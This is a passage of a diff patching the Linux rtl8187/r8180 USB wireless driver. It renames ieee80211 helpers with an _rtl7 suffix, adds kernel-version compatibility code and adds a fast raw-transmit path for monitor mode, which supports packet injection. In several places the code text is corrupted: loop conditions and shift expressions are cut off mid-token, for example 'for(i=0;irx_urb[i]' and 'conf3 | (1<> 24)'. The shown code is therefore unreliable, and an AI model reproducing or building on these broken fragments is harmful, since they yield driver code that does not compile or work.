r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1201,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1216,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1231,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1240,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1248,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1296,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1315,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1373,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1384,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1409,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1422,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1435,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1477,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1494,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1593,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1604,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1625,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1652,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1679,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1720,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1767,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1827,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1875,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1884,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1967,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2002,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2031,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2121,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2187,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2210,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2224,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2268,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct 